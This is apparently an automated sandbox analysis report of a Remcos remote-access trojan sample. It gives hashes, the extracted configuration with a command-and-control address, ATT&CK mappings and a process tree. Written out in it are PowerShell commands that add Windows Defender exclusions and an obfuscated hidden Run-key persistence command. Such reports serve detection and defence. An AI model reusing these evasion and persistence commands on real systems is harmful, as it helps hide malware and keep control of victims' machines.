remcos | 75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe

Analysis

max time kernel
148s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 10:46

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General

Target
75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe
Size 947KB
Sample260910-mt1mssvxdx
SHA256 75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe
MD5 0315c618dc8bb9ca22f2def208da088b
SHA1 b2ba9975b27bc78a6a32d8bb4b4765e3f02405ce
SHA512 74b2dd8b1c9481209d13453989c65968597008b67a24c6d8bc28a0b6a254396871761bf1c2ef59f1ef5aba5ad837d40b91f5f6fa394d3d7ceb45ba6789070842
SSDEEP 12288:ujoKeRR+iBKyMvfEbT8fGQX80G8tDxapBbpdkXLvGEBew8vwDEwpcpzJcijHe2k3:ujoKQR+ioPE8XRxaLkkwDwsc7n7lK
TLSH
T16125DE04225BDB2BC4157B74C933E7F44A645E94E850D22F9EEA7EBB7F35E346804282
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

vcr- game discovery execution remcos persistence rat

Malware Config

Extracted

Family

remcos

Version

1.7 Pro

Botnet

VCR- game

91.193.7.162:13309

Attributes

audio_folder
audio
audio_path
%AppData%
audio_record_time
5
connect_delay
0
connect_interval
5
copy_file
remcos.exe
copy_folder
remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
install_path
%AppData%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
vrc
keylog_path
%AppData%
mouse_option
false
mutex
vcr_hfogurhdjtxacxx
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screens
screenshot_path
%AppData%
screenshot_time
1
startup_value
remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4748	powershell.exe
1940	powershell.exe
2116	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4352	ptb.exe
3592	ptb.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\ptb = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$tz40y2=Get-Date;$bvs3bc=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$htgfs4=6975;$lunww3=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHB0Yi5leGU=')));$htgfs4=6975;& $bvs3bc -FilePath $lunww3\""	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3384 set thread context of 4204	3384	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe	92
PID 4352 set thread context of 3592	4352	ptb.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ptb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3384	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe
3384	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe
4748	powershell.exe
2116	powershell.exe
2116	powershell.exe
4748	powershell.exe
2116	powershell.exe
4352	ptb.exe
4352	ptb.exe
1940	powershell.exe
1940	powershell.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	3384	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeIncreaseQuotaPrivilege	4748	powershell.exe
Token: SeSecurityPrivilege	4748	powershell.exe
Token: SeTakeOwnershipPrivilege	4748	powershell.exe
Token: SeLoadDriverPrivilege	4748	powershell.exe
Token: SeSystemProfilePrivilege	4748	powershell.exe
Token: SeSystemtimePrivilege	4748	powershell.exe
Token: SeProfSingleProcessPrivilege	4748	powershell.exe
Token: SeIncBasePriorityPrivilege	4748	powershell.exe
Token: SeCreatePagefilePrivilege	4748	powershell.exe
Token: SeBackupPrivilege	4748	powershell.exe
Token: SeRestorePrivilege	4748	powershell.exe
Token: SeShutdownPrivilege	4748	powershell.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeSystemEnvironmentPrivilege	4748	powershell.exe
Token: SeRemoteShutdownPrivilege	4748	powershell.exe
Token: SeUndockPrivilege	4748	powershell.exe
Token: SeManageVolumePrivilege	4748	powershell.exe
Token: 33	4748	powershell.exe
Token: 34	4748	powershell.exe
Token: 35	4748	powershell.exe
Token: 36	4748	powershell.exe
Token: SeDebugPrivilege	4352	ptb.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeIncreaseQuotaPrivilege	1940	powershell.exe
Token: SeSecurityPrivilege	1940	powershell.exe
Token: SeTakeOwnershipPrivilege	1940	powershell.exe
Token: SeLoadDriverPrivilege	1940	powershell.exe
Token: SeSystemProfilePrivilege	1940	powershell.exe
Token: SeSystemtimePrivilege	1940	powershell.exe
Token: SeProfSingleProcessPrivilege	1940	powershell.exe
Token: SeIncBasePriorityPrivilege	1940	powershell.exe
Token: SeCreatePagefilePrivilege	1940	powershell.exe
Token: SeBackupPrivilege	1940	powershell.exe
Token: SeRestorePrivilege	1940	powershell.exe
Token: SeShutdownPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeSystemEnvironmentPrivilege	1940	powershell.exe
Token: SeRemoteShutdownPrivilege	1940	powershell.exe
Token: SeUndockPrivilege	1940	powershell.exe
Token: SeManageVolumePrivilege	1940	powershell.exe
Token: 33	1940	powershell.exe
Token: 34	1940	powershell.exe
Token: 35	1940	powershell.exe
Token: 36	1940	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4204	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3384 wrote to memory of 4748	3384	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe	90
PID 3384 wrote to memory of 4204	3384	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe	92
PID 3384 wrote to memory of 4204	3384	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe	92
PID 3384 wrote to memory of 4204	3384	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe	92
PID 3384 wrote to memory of 4204	3384	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe	92
PID 3384 wrote to memory of 4204	3384	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe	92
PID 3384 wrote to memory of 4204	3384	75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe	92
PID 2116 wrote to memory of 4352	2116	powershell.exe	95
PID 4352 wrote to memory of 1940	4352	ptb.exe	97
PID 4352 wrote to memory of 3592	4352	ptb.exe	99
PID 4352 wrote to memory of 3592	4352	ptb.exe	99
PID 4352 wrote to memory of 3592	4352	ptb.exe	99
PID 4352 wrote to memory of 3592	4352	ptb.exe	99
PID 4352 wrote to memory of 3592	4352	ptb.exe	99
PID 4352 wrote to memory of 3592	4352	ptb.exe	99

C:\Users\Admin\AppData\Local\Temp\75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe
"C:\Users\Admin\AppData\Local\Temp\75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3384
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4748
- C:\Users\Admin\AppData\Local\Temp\75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe
  "C:\Users\Admin\AppData\Local\Temp\75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4204

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$tz40y2=Get-Date;$bvs3bc=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$htgfs4=6975;$lunww3=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHB0Yi5leGU=')));$htgfs4=6975;& $bvs3bc -FilePath $lunww3"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2116
- C:\Users\Admin\AppData\Roaming\ptb.exe
  "C:\Users\Admin\AppData\Roaming\ptb.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ptb.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1940
- - C:\Users\Admin\AppData\Roaming\ptb.exe
    "C:\Users\Admin\AppData\Roaming\ptb.exe"
    3⤵
    - Executes dropped EXE
    PID:3592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 21KB
SHA256 65745682e2ad8c9b77ec96ed0e0490a0926018d39b4e11a6e6f6814f0c4d419e
MD5 c7085b50fa6cd375e9f123e6bf7a3e96
SHA1 4a7b40d94d4fec588ea2cf7cccf860eb24494a26
SHA512 3ba48aeb0d27d60d4e280fef7e651c0c7f13d65612ed9414b1f6ea4f253d38d54507cd38aa585882616f1c6d7f49eb1b1bc91420efabc8988f5b817d55796985
SSDEEP 384:/1eBaoT1iBGmGW14b4WNIux0c+geCpr2PnZIAXr4B+BWIVtOKwYvYbhNaPMlRtXO:dexZ6GlWicCIuxd+u6RIAXrq+J43bhNe
TLSH
T15AA2C578213F6DC7D8D226B410D10AA7FBE4D489DAB611D4BF2BDE2F4C90EB64A60524
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_yupfrxtc.ryj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yupfrxtc.ryj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ptb.exe

Path C:\Users\Admin\AppData\Roaming\ptb.exe
Size 947KB
SHA256 75e36e7ee5ceb2a7eabbbcec4d3ae7498e09f21605a716098de3493299430afe
MD5 0315c618dc8bb9ca22f2def208da088b
SHA1 b2ba9975b27bc78a6a32d8bb4b4765e3f02405ce
SHA512 74b2dd8b1c9481209d13453989c65968597008b67a24c6d8bc28a0b6a254396871761bf1c2ef59f1ef5aba5ad837d40b91f5f6fa394d3d7ceb45ba6789070842
SSDEEP 12288:ujoKeRR+iBKyMvfEbT8fGQX80G8tDxapBbpdkXLvGEBew8vwDEwpcpzJcijHe2k3:ujoKQR+ioPE8XRxaLkkwDwsc7n7lK
TLSH
T16125DE04225BDB2BC4157B74C933E7F44A645E94E850D22F9EEA7EBB7F35E346804282
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1940-57-0x00000000056E0000-0x0000000005A3B000-memory.dmp

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memory/1940-61-0x00000000709B0000-0x00000000709FC000-memory.dmp

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memory/1940-64-0x0000000006EC0000-0x0000000006F63000-memory.dmp

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memory/2116-34-0x00000271AFDA0000-0x00000271AFDC2000-memory.dmp

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memory/3384-14-0x00000000745A0000-0x0000000074D5C000-memory.dmp

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memory/3384-5-0x0000000004C80000-0x0000000004CA2000-memory.dmp

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memory/3384-9-0x0000000007750000-0x0000000007774000-memory.dmp

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memory/3384-10-0x00000000745B2000-0x00000000745B3000-memory.dmp

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memory/3384-11-0x00000000745A0000-0x0000000074D5C000-memory.dmp

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memory/3384-12-0x00000000745A0000-0x0000000074D5C000-memory.dmp

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memory/3384-13-0x0000000007C80000-0x0000000007D3A000-memory.dmp

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memory/3384-7-0x0000000005840000-0x00000000058DC000-memory.dmp

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memory/3384-1-0x00000000001A0000-0x0000000000294000-memory.dmp

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memory/3384-2-0x0000000005280000-0x000000000583A000-memory.dmp

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memory/3384-6-0x0000000005090000-0x000000000509A000-memory.dmp

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memory/3384-8-0x00000000745A0000-0x0000000074D5C000-memory.dmp

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memory/3384-4-0x00000000050C0000-0x0000000005152000-memory.dmp

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memory/3384-3-0x0000000004CC0000-0x000000000501B000-memory.dmp

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memory/3384-27-0x00000000745A0000-0x0000000074D5C000-memory.dmp

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memory/3384-0-0x00000000745B2000-0x00000000745B3000-memory.dmp

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memory/4204-52-0x0000000000400000-0x0000000000417000-memory.dmp

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memory/4204-25-0x0000000000400000-0x0000000000417000-memory.dmp

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memory/4204-19-0x0000000000400000-0x0000000000417000-memory.dmp

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memory/4204-18-0x0000000000400000-0x0000000000417000-memory.dmp

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memory/4204-15-0x0000000000400000-0x0000000000417000-memory.dmp

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memory/4748-26-0x00000000026A0000-0x00000000026B0000-memory.dmp

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memory/4748-36-0x0000000005E10000-0x0000000005E5C000-memory.dmp

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memory/4748-35-0x0000000005DE0000-0x0000000005DFE000-memory.dmp

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memory/4748-39-0x00000000063C0000-0x00000000063F6000-memory.dmp

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memory/4748-31-0x00000000058A0000-0x0000000005906000-memory.dmp

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memory/4748-43-0x0000000006DC0000-0x0000000006DE0000-memory.dmp

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memory/4748-40-0x00000000709B0000-0x00000000709FC000-memory.dmp

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memory/4748-44-0x0000000006FF0000-0x0000000007093000-memory.dmp

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memory/4748-45-0x0000000007790000-0x0000000007E0C000-memory.dmp

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memory/4748-46-0x0000000007150000-0x000000000716A000-memory.dmp

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memory/4748-47-0x00000000071C0000-0x00000000071CA000-memory.dmp

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memory/4748-48-0x00000000073C0000-0x0000000007456000-memory.dmp

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memory/4748-30-0x0000000005830000-0x0000000005896000-memory.dmp

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memory/4748-51-0x00000000745A0000-0x0000000074D5C000-memory.dmp

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memory/4748-24-0x00000000745A0000-0x0000000074D5C000-memory.dmp

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memory/4748-23-0x0000000005130000-0x000000000577A000-memory.dmp

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memory/4748-22-0x00000000745A0000-0x0000000074D5C000-memory.dmp

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memory/4748-17-0x00000000025C0000-0x00000000025F6000-memory.dmp

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